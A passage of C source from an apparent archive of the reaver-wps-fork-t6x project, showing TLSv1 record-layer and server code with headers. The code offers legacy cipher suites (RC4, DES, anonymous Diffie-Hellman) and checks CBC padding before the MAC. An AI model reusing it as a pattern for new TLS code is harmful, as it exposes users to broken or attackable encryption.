CRYPTO_CIPHER_NULL) { rl->read_cbc = crypto_cipher_init(rl->cipher_alg, rl->read_iv, rl->read_key, rl->key_material_len); if (rl->read_cbc == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize " "cipher"); return -1; } } return 0; } /** * tlsv1_record_send - TLS record layer: Send a message * @rl: Pointer to TLS record layer data * @content_type: Content type (TLS_CONTENT_TYPE_*) * @buf: Buffer to send (with TLS_RECORD_HEADER_LEN octets reserved in the * beginning for record layer to fill in; payload filled in after this and * extra space in the end for HMAC). * @buf_size: Maximum buf size * @payload_len: Length of the payload * @out_len: Buffer for returning the used buf length * Returns: 0 on success, -1 on failure * * This function fills in the TLS record layer header, adds HMAC, and encrypts * the data using the current write cipher. */ int tlsv1_record_send(struct tlsv1_record_layer *rl, u8 content_type, u8 *buf, size_t buf_size, size_t payload_len, size_t *out_len) { u8 *pos, *ct_start, *length, *payload; struct crypto_hash *hmac; size_t clen; pos = buf; /* ContentType type */ ct_start = pos; *pos++ = content_type; /* ProtocolVersion version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* uint16 length */ length = pos; WPA_PUT_BE16(length, payload_len); pos += 2; /* opaque fragment[TLSPlaintext.length] */ payload = pos; pos += payload_len; if (rl->write_cipher_suite != TLS_NULL_WITH_NULL_NULL) { hmac = crypto_hash_init(rl->hash_alg, rl->write_mac_secret, rl->hash_size); if (hmac == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to initialize HMAC"); return -1; } crypto_hash_update(hmac, rl->write_seq_num, TLS_SEQ_NUM_LEN); /* type + version + length + fragment */ crypto_hash_update(hmac, ct_start, pos - ct_start); clen = buf + buf_size - pos; if (clen < rl->hash_size) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Not " "enough room for MAC"); crypto_hash_finish(hmac, NULL, NULL); return -1; } if (crypto_hash_finish(hmac, pos, &clen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to calculate HMAC"); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Write HMAC", pos, clen); pos += clen; if (rl->iv_size) { size_t len = pos - payload; size_t pad; pad = (len + 1) % rl->iv_size; if (pad) pad = rl->iv_size - pad; if (pos + pad + 1 > buf + buf_size) { wpa_printf(MSG_DEBUG, "TLSv1: No room for " "block cipher padding"); return -1; } os_memset(pos, pad, pad + 1); pos += pad + 1; } if (crypto_cipher_encrypt(rl->write_cbc, payload, payload, pos - payload) < 0) return -1; } WPA_PUT_BE16(length, pos - length - 2); inc_byte_array(rl->write_seq_num, TLS_SEQ_NUM_LEN); *out_len = pos - buf; return 0; } /** * tlsv1_record_receive - TLS record layer: Process a received message * @rl: Pointer to TLS record layer data * @in_data: Received data * @in_len: Length of the received data * @out_data: Buffer for output data (must be at least as long as in_data) * @out_len: Set to maximum out_data length by caller; used to return the * length of the used data * @alert: Buffer for returning an alert value on failure * Returns: 0 on success, -1 on failure * * This function decrypts the received message, verifies HMAC and TLS record * layer header. */ int tlsv1_record_receive(struct tlsv1_record_layer *rl, const u8 *in_data, size_t in_len, u8 *out_data, size_t *out_len, u8 *alert) { size_t i, rlen, hlen; u8 padlen; struct crypto_hash *hmac; u8 len[2], hash[100]; wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Received", in_data, in_len); if (in_len < TLS_RECORD_HEADER_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record (in_len=%lu)", (unsigned long) in_len); *alert = TLS_ALERT_DECODE_ERROR; return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received content type %d version %d.%d " "length %d", in_data[0], in_data[1], in_data[2], WPA_GET_BE16(in_data + 3)); if (in_data[0] != TLS_CONTENT_TYPE_HANDSHAKE && in_data[0] != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC && in_data[0] != TLS_CONTENT_TYPE_ALERT && in_data[0] != TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type 0x%x", in_data[0]); *alert = TLS_ALERT_UNEXPECTED_MESSAGE; return -1; } if (WPA_GET_BE16(in_data + 1) != TLS_VERSION) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version " "%d.%d", in_data[1], in_data[2]); *alert = TLS_ALERT_PROTOCOL_VERSION; return -1; } rlen = WPA_GET_BE16(in_data + 3); /* TLSCiphertext must not be more than 2^14+2048 bytes */ if (TLS_RECORD_HEADER_LEN + rlen > 18432) { wpa_printf(MSG_DEBUG, "TLSv1: Record overflow (len=%lu)", (unsigned long) (TLS_RECORD_HEADER_LEN + rlen)); *alert = TLS_ALERT_RECORD_OVERFLOW; return -1; } in_data += TLS_RECORD_HEADER_LEN; in_len -= TLS_RECORD_HEADER_LEN; if (rlen > in_len) { wpa_printf(MSG_DEBUG, "TLSv1: Not all record data included " "(rlen=%lu > in_len=%lu)", (unsigned long) rlen, (unsigned long) in_len); *alert = TLS_ALERT_DECODE_ERROR; return -1; } in_len = rlen; if (*out_len < in_len) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough output buffer for " "processing received record"); *alert = TLS_ALERT_INTERNAL_ERROR; return -1; } os_memcpy(out_data, in_data, in_len); *out_len = in_len; if (rl->read_cipher_suite != TLS_NULL_WITH_NULL_NULL) { if (crypto_cipher_decrypt(rl->read_cbc, out_data, out_data, in_len) < 0) { *alert = TLS_ALERT_DECRYPTION_FAILED; return -1; } if (rl->iv_size) { if (in_len == 0) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record" " (no pad)"); *alert = TLS_ALERT_DECODE_ERROR; return -1; } padlen = out_data[in_len - 1]; if (padlen >= in_len) { wpa_printf(MSG_DEBUG, "TLSv1: Incorrect pad " "length (%u, in_len=%lu) in " "received record", padlen, (unsigned long) in_len); *alert = TLS_ALERT_DECRYPTION_FAILED; return -1; } for (i = in_len - padlen; i < in_len; i++) { if (out_data[i] != padlen) { wpa_hexdump(MSG_DEBUG, "TLSv1: Invalid pad in " "received record", out_data + in_len - padlen, padlen); *alert = TLS_ALERT_DECRYPTION_FAILED; return -1; } } *out_len -= padlen + 1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Decrypted data", out_data, in_len); if (*out_len < rl->hash_size) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record; no " "hash value"); *alert = TLS_ALERT_INTERNAL_ERROR; return -1; } *out_len -= rl->hash_size; hmac = crypto_hash_init(rl->hash_alg, rl->read_mac_secret, rl->hash_size); if (hmac == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to initialize HMAC"); *alert = TLS_ALERT_INTERNAL_ERROR; return -1; } crypto_hash_update(hmac, rl->read_seq_num, TLS_SEQ_NUM_LEN); /* type + version + length + fragment */ crypto_hash_update(hmac, in_data - TLS_RECORD_HEADER_LEN, 3); WPA_PUT_BE16(len, *out_len); crypto_hash_update(hmac, len, 2); crypto_hash_update(hmac, out_data, *out_len); hlen = sizeof(hash); if (crypto_hash_finish(hmac, hash, &hlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to calculate HMAC"); return -1; } if (hlen != rl->hash_size || os_memcmp(hash, out_data + *out_len, hlen) != 0) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid HMAC value in " "received message"); *alert = TLS_ALERT_BAD_RECORD_MAC; return -1; } } /* TLSCompressed must not be more than 2^14+1024 bytes */ if (TLS_RECORD_HEADER_LEN + *out_len > 17408) { wpa_printf(MSG_DEBUG, "TLSv1: Record overflow (len=%lu)", (unsigned long) (TLS_RECORD_HEADER_LEN + *out_len)); *alert = TLS_ALERT_RECORD_OVERFLOW; return -1; } inc_byte_array(rl->read_seq_num, TLS_SEQ_NUM_LEN); return 0; } reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_record.h000077500000000000000000000040771363372615500214740ustar00rootroot00000000000000/* * TLSv1 Record Protocol * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_RECORD_H #define TLSV1_RECORD_H #include "crypto/crypto.h" #define TLS_MAX_WRITE_MAC_SECRET_LEN 20 #define TLS_MAX_WRITE_KEY_LEN 32 #define TLS_MAX_IV_LEN 16 #define TLS_MAX_KEY_BLOCK_LEN (2 * (TLS_MAX_WRITE_MAC_SECRET_LEN + \ TLS_MAX_WRITE_KEY_LEN + TLS_MAX_IV_LEN)) #define TLS_SEQ_NUM_LEN 8 #define TLS_RECORD_HEADER_LEN 5 /* ContentType */ enum { TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC = 20, TLS_CONTENT_TYPE_ALERT = 21, TLS_CONTENT_TYPE_HANDSHAKE = 22, TLS_CONTENT_TYPE_APPLICATION_DATA = 23 }; struct tlsv1_record_layer { u8 write_mac_secret[TLS_MAX_WRITE_MAC_SECRET_LEN]; u8 read_mac_secret[TLS_MAX_WRITE_MAC_SECRET_LEN]; u8 write_key[TLS_MAX_WRITE_KEY_LEN]; u8 read_key[TLS_MAX_WRITE_KEY_LEN]; u8 write_iv[TLS_MAX_IV_LEN]; u8 read_iv[TLS_MAX_IV_LEN]; size_t hash_size; size_t key_material_len; size_t iv_size; /* also block_size */ enum crypto_hash_alg hash_alg; enum crypto_cipher_alg cipher_alg; u8 write_seq_num[TLS_SEQ_NUM_LEN]; u8 read_seq_num[TLS_SEQ_NUM_LEN]; u16 cipher_suite; u16 write_cipher_suite; u16 read_cipher_suite; struct crypto_cipher *write_cbc; struct crypto_cipher *read_cbc; }; int tlsv1_record_set_cipher_suite(struct tlsv1_record_layer *rl, u16 cipher_suite); int tlsv1_record_change_write_cipher(struct tlsv1_record_layer *rl); int tlsv1_record_change_read_cipher(struct tlsv1_record_layer *rl); int tlsv1_record_send(struct tlsv1_record_layer *rl, u8 content_type, u8 *buf, size_t buf_size, size_t payload_len, size_t *out_len); int tlsv1_record_receive(struct tlsv1_record_layer *rl, const u8 *in_data, size_t in_len, u8 *out_data, size_t *out_len, u8 *alert); #endif /* TLSV1_RECORD_H */ reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_server.c000077500000000000000000000372441363372615500215210ustar00rootroot00000000000000/* * TLSv1 server (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_server.h" #include "tlsv1_server_i.h" /* TODO: * Support for a message fragmented across several records (RFC 2246, 6.2.1) */ void tlsv1_server_alert(struct tlsv1_server *conn, u8 level, u8 description) { conn->alert_level = level; conn->alert_description = description; } int tlsv1_server_derive_keys(struct tlsv1_server *conn, const u8 *pre_master_secret, size_t pre_master_secret_len) { u8 seed[2 * TLS_RANDOM_LEN]; u8 key_block[TLS_MAX_KEY_BLOCK_LEN]; u8 *pos; size_t key_block_len; if (pre_master_secret) { wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: pre_master_secret", pre_master_secret, pre_master_secret_len); os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); if (tls_prf(pre_master_secret, pre_master_secret_len, "master secret", seed, 2 * TLS_RANDOM_LEN, conn->master_secret, TLS_MASTER_SECRET_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive " "master_secret"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: master_secret", conn->master_secret, TLS_MASTER_SECRET_LEN); } os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); key_block_len = 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "key expansion", seed, 2 * TLS_RANDOM_LEN, key_block, key_block_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive key_block"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: key_block", key_block, key_block_len); pos = key_block; /* client_write_MAC_secret */ os_memcpy(conn->rl.read_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* server_write_MAC_secret */ os_memcpy(conn->rl.write_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* client_write_key */ os_memcpy(conn->rl.read_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* server_write_key */ os_memcpy(conn->rl.write_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* client_write_IV */ os_memcpy(conn->rl.read_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; /* server_write_IV */ os_memcpy(conn->rl.write_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; return 0; } /** * tlsv1_server_handshake - Process TLS handshake * @conn: TLSv1 server connection data from tlsv1_server_init() * @in_data: Input data from TLS peer * @in_len: Input data length * @out_len: Length of the output buffer. * Returns: Pointer to output data, %NULL on failure */ u8 * tlsv1_server_handshake(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, size_t *out_len) { const u8 *pos, *end; u8 *msg = NULL, *in_msg, *in_pos, *in_end, alert, ct; size_t in_msg_len; if (in_data == NULL || in_len == 0) { wpa_printf(MSG_DEBUG, "TLSv1: No input data to server"); return NULL; } pos = in_data; end = in_data + in_len; in_msg = os_malloc(in_len); if (in_msg == NULL) return NULL; /* Each received packet may include multiple records */ while (pos < end) { in_msg_len = in_len; if (tlsv1_record_receive(&conn->rl, pos, end - pos, in_msg, &in_msg_len, &alert)) { wpa_printf(MSG_DEBUG, "TLSv1: Processing received " "record failed"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); goto failed; } ct = pos[0]; in_pos = in_msg; in_end = in_msg + in_msg_len; /* Each received record may include multiple messages of the * same ContentType. */ while (in_pos < in_end) { in_msg_len = in_end - in_pos; if (tlsv1_server_process_handshake(conn, ct, in_pos, &in_msg_len) < 0) goto failed; in_pos += in_msg_len; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } os_free(in_msg); in_msg = NULL; msg = tlsv1_server_handshake_write(conn, out_len); failed: os_free(in_msg); if (conn->alert_level) { if (conn->state == FAILED) { /* Avoid alert loops */ wpa_printf(MSG_DEBUG, "TLSv1: Drop alert loop"); os_free(msg); return NULL; } conn->state = FAILED; os_free(msg); msg = tlsv1_server_send_alert(conn, conn->alert_level, conn->alert_description, out_len); } return msg; } /** * tlsv1_server_encrypt - Encrypt data into TLS tunnel * @conn: TLSv1 server connection data from tlsv1_server_init() * @in_data: Pointer to plaintext data to be encrypted * @in_len: Input buffer length * @out_data: Pointer to output buffer (encrypted TLS data) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * send data in the encrypted tunnel. */ int tlsv1_server_encrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { size_t rlen; wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Plaintext AppData", in_data, in_len); os_memcpy(out_data + TLS_RECORD_HEADER_LEN, in_data, in_len); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_APPLICATION_DATA, out_data, out_len, in_len, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return rlen; } /** * tlsv1_server_decrypt - Decrypt data from TLS tunnel * @conn: TLSv1 server connection data from tlsv1_server_init() * @in_data: Pointer to input buffer (encrypted TLS data) * @in_len: Input buffer length * @out_data: Pointer to output buffer (decrypted data from TLS tunnel) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * receive data from the encrypted tunnel. */ int tlsv1_server_decrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { const u8 *in_end, *pos; int res; u8 alert, *out_end, *out_pos; size_t olen; pos = in_data; in_end = in_data + in_len; out_pos = out_data; out_end = out_data + out_len; while (pos < in_end) { if (pos[0] != TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type " "0x%x", pos[0]); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } olen = out_end - out_pos; res = tlsv1_record_receive(&conn->rl, pos, in_end - pos, out_pos, &olen, &alert); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record layer processing " "failed"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); return -1; } out_pos += olen; if (out_pos > out_end) { wpa_printf(MSG_DEBUG, "TLSv1: Buffer not large enough " "for processing the received record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } return out_pos - out_data; } /** * tlsv1_server_global_init - Initialize TLSv1 server * Returns: 0 on success, -1 on failure * * This function must be called before using any other TLSv1 server functions. */ int tlsv1_server_global_init(void) { return crypto_global_init(); } /** * tlsv1_server_global_deinit - Deinitialize TLSv1 server * * This function can be used to deinitialize the TLSv1 server that was * initialized by calling tlsv1_server_global_init(). No TLSv1 server functions * can be called after this before calling tlsv1_server_global_init() again. */ void tlsv1_server_global_deinit(void) { crypto_global_deinit(); } /** * tlsv1_server_init - Initialize TLSv1 server connection * @cred: Pointer to server credentials from tlsv1_server_cred_alloc() * Returns: Pointer to TLSv1 server connection data or %NULL on failure */ struct tlsv1_server * tlsv1_server_init(struct tlsv1_credentials *cred) { struct tlsv1_server *conn; size_t count; u16 *suites; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->cred = cred; conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize verify " "hash"); os_free(conn); return NULL; } count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_MD5; conn->num_cipher_suites = count; return conn; } static void tlsv1_server_clear_data(struct tlsv1_server *conn) { tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); tlsv1_record_change_write_cipher(&conn->rl); tlsv1_record_change_read_cipher(&conn->rl); tls_verify_hash_free(&conn->verify); crypto_public_key_free(conn->client_rsa_key); conn->client_rsa_key = NULL; os_free(conn->session_ticket); conn->session_ticket = NULL; conn->session_ticket_len = 0; conn->use_session_ticket = 0; os_free(conn->dh_secret); conn->dh_secret = NULL; conn->dh_secret_len = 0; } /** * tlsv1_server_deinit - Deinitialize TLSv1 server connection * @conn: TLSv1 server connection data from tlsv1_server_init() */ void tlsv1_server_deinit(struct tlsv1_server *conn) { tlsv1_server_clear_data(conn); os_free(conn); } /** * tlsv1_server_established - Check whether connection has been established * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: 1 if connection is established, 0 if not */ int tlsv1_server_established(struct tlsv1_server *conn) { return conn->state == ESTABLISHED; } /** * tlsv1_server_prf - Use TLS-PRF to derive keying material * @conn: TLSv1 server connection data from tlsv1_server_init() * @label: Label (e.g., description of the key) for PRF * @server_random_first: seed is 0 = client_random|server_random, * 1 = server_random|client_random * @out: Buffer for output data from TLS-PRF * @out_len: Length of the output buffer * Returns: 0 on success, -1 on failure */ int tlsv1_server_prf(struct tlsv1_server *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { u8 seed[2 * TLS_RANDOM_LEN]; if (conn->state != ESTABLISHED) return -1; if (server_random_first) { os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); } else { os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); } return tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, label, seed, 2 * TLS_RANDOM_LEN, out, out_len); } /** * tlsv1_server_get_cipher - Get current cipher name * @conn: TLSv1 server connection data from tlsv1_server_init() * @buf: Buffer for the cipher name * @buflen: buf size * Returns: 0 on success, -1 on failure * * Get the name of the currently used cipher. */ int tlsv1_server_get_cipher(struct tlsv1_server *conn, char *buf, size_t buflen) { char *cipher; switch (conn->rl.cipher_suite) { case TLS_RSA_WITH_RC4_128_MD5: cipher = "RC4-MD5"; break; case TLS_RSA_WITH_RC4_128_SHA: cipher = "RC4-SHA"; break; case TLS_RSA_WITH_DES_CBC_SHA: cipher = "DES-CBC-SHA"; break; case TLS_RSA_WITH_3DES_EDE_CBC_SHA: cipher = "DES-CBC3-SHA"; break; case TLS_DH_anon_WITH_AES_128_CBC_SHA: cipher = "ADH-AES-128-SHA"; break; case TLS_RSA_WITH_AES_256_CBC_SHA: cipher = "AES-256-SHA"; break; case TLS_RSA_WITH_AES_128_CBC_SHA: cipher = "AES-128-SHA"; break; default: return -1; } if (os_strlcpy(buf, cipher, buflen) >= buflen) return -1; return 0; } /** * tlsv1_server_shutdown - Shutdown TLS connection * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: 0 on success, -1 on failure */ int tlsv1_server_shutdown(struct tlsv1_server *conn) { conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to re-initialize verify " "hash"); return -1; } tlsv1_server_clear_data(conn); return 0; } /** * tlsv1_server_resumed - Was session resumption used * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: 1 if current session used session resumption, 0 if not */ int tlsv1_server_resumed(struct tlsv1_server *conn) { return 0; } /** * tlsv1_server_get_keys - Get master key and random data from TLS connection * @conn: TLSv1 server connection data from tlsv1_server_init() * @keys: Structure of key/random data (filled on success) * Returns: 0 on success, -1 on failure */ int tlsv1_server_get_keys(struct tlsv1_server *conn, struct tls_keys *keys) { os_memset(keys, 0, sizeof(*keys)); if (conn->state == CLIENT_HELLO) return -1; keys->client_random = conn->client_random; keys->client_random_len = TLS_RANDOM_LEN; if (conn->state != SERVER_HELLO) { keys->server_random = conn->server_random; keys->server_random_len = TLS_RANDOM_LEN; keys->master_key = conn->master_secret; keys->master_key_len = TLS_MASTER_SECRET_LEN; } return 0; } /** * tlsv1_server_get_keyblock_size - Get TLS key_block size * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: Size of the key_block for the negotiated cipher suite or -1 on * failure */ int tlsv1_server_get_keyblock_size(struct tlsv1_server *conn) { if (conn->state == CLIENT_HELLO || conn->state == SERVER_HELLO) return -1; return 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); } /** * tlsv1_server_set_cipher_list - Configure acceptable cipher suites * @conn: TLSv1 server connection data from tlsv1_server_init() * @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers * (TLS_CIPHER_*). * Returns: 0 on success, -1 on failure */ int tlsv1_server_set_cipher_list(struct tlsv1_server *conn, u8 *ciphers) { size_t count; u16 *suites; /* TODO: implement proper configuration of cipher suites */ if (ciphers[0] == TLS_CIPHER_ANON_DH_AES128_SHA) { count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_MD5; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_DH_anon_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_RC4_128_MD5; suites[count++] = TLS_DH_anon_WITH_DES_CBC_SHA; conn->num_cipher_suites = count; } return 0; } int tlsv1_server_set_verify(struct tlsv1_server *conn, int verify_peer) { conn->verify_peer = verify_peer; return 0; } void tlsv1_server_set_session_ticket_cb(struct tlsv1_server *conn, tlsv1_server_session_ticket_cb cb, void *ctx) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback set %p (ctx %p)", cb, ctx); conn->session_ticket_cb = cb; conn->session_ticket_cb_ctx = ctx; } reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_server.h000077500000000000000000000040031363372615500215110ustar00rootroot00000000000000/* * TLSv1 server (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_SERVER_H #define TLSV1_SERVER_H #include "tlsv1_cred.h" struct tlsv1_server; int tlsv1_server_global_init(void); void tlsv1_server_global_deinit(void); struct tlsv1_server * tlsv1_server_init(struct tlsv1_credentials *cred); void tlsv1_server_deinit(struct tlsv1_server *conn); int tlsv1_server_established(struct tlsv1_server *conn); int tlsv1_server_prf(struct tlsv1_server *conn, const char *label, int server_random_first, u8 *out, size_t out_len); u8 * tlsv1_server_handshake(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, size_t *out_len); int tlsv1_server_encrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_server_decrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_server_get_cipher(struct tlsv1_server *conn, char *buf, size_t buflen); int tlsv1_server_shutdown(struct tlsv1_server *conn); int tlsv1_server_resumed(struct tlsv1_server *conn); int tlsv1_server_get_keys(struct tlsv1_server *conn, struct tls_keys *keys); int tlsv1_server_get_keyblock_size(struct tlsv1_server *conn); int tlsv1_server_set_cipher_list(struct tlsv1_server *conn, u8 *ciphers); int tlsv1_server_set_verify(struct tlsv1_server *conn, int verify_peer); typedef int (*tlsv1_server_session_ticket_cb) (void *ctx, const u8 *ticket, size_t len, const u8 *client_random, const u8 *server_random, u8 *master_secret); void tlsv1_server_set_session_ticket_cb(struct tlsv1_server *conn, tlsv1_server_session_ticket_cb cb, void *ctx); #endif /* TLSV1_SERVER_H */ reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_server_i.h000077500000000000000000000040101363372615500220170ustar00rootroot00000000000000/* * TLSv1 server - internal structures * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_SERVER_I_H #define TLSV1_SERVER_I_H struct tlsv1_server { enum { CLIENT_HELLO, SERVER_HELLO, SERVER_CERTIFICATE, SERVER_KEY_EXCHANGE, SERVER_CERTIFICATE_REQUEST, SERVER_HELLO_DONE, CLIENT_CERTIFICATE, CLIENT_KEY_EXCHANGE, CERTIFICATE_VERIFY, CHANGE_CIPHER_SPEC, CLIENT_FINISHED, SERVER_CHANGE_CIPHER_SPEC, SERVER_FINISHED, ESTABLISHED, FAILED } state; struct tlsv1_record_layer rl; u8 session_id[TLS_SESSION_ID_MAX_LEN]; size_t session_id_len; u8 client_random[TLS_RANDOM_LEN]; u8 server_random[TLS_RANDOM_LEN]; u8 master_secret[TLS_MASTER_SECRET_LEN]; u8 alert_level; u8 alert_description; struct crypto_public_key *client_rsa_key; struct tls_verify_hash verify; #define MAX_CIPHER_COUNT 30 u16 cipher_suites[MAX_CIPHER_COUNT]; size_t num_cipher_suites; u16 cipher_suite; struct tlsv1_credentials *cred; int verify_peer; u16 client_version; u8 *session_ticket; size_t session_ticket_len; tlsv1_server_session_ticket_cb session_ticket_cb; void *session_ticket_cb_ctx; int use_session_ticket; u8 *dh_secret; size_t dh_secret_len; }; void tlsv1_server_alert(struct tlsv1_server *conn, u8 level, u8 description); int tlsv1_server_derive_keys(struct tlsv1_server *conn, const u8 *pre_master_secret, size_t pre_master_secret_len); u8 * tlsv1_server_handshake_write(struct tlsv1_server *conn, size_t *out_len); u8 * tlsv1_server_send_alert(struct tlsv1_server *conn, u8 level, u8 description, size_t *out_len); int tlsv1_server_process_handshake(struct tlsv1_server *conn, u8 ct, const u8 *buf, size_t *len); #endif /* TLSV1_SERVER_I_H */ reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_server_read.c000077500000000000000000000712571363372615500225160ustar00rootroot00000000000000/* * TLSv1 server - read handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of 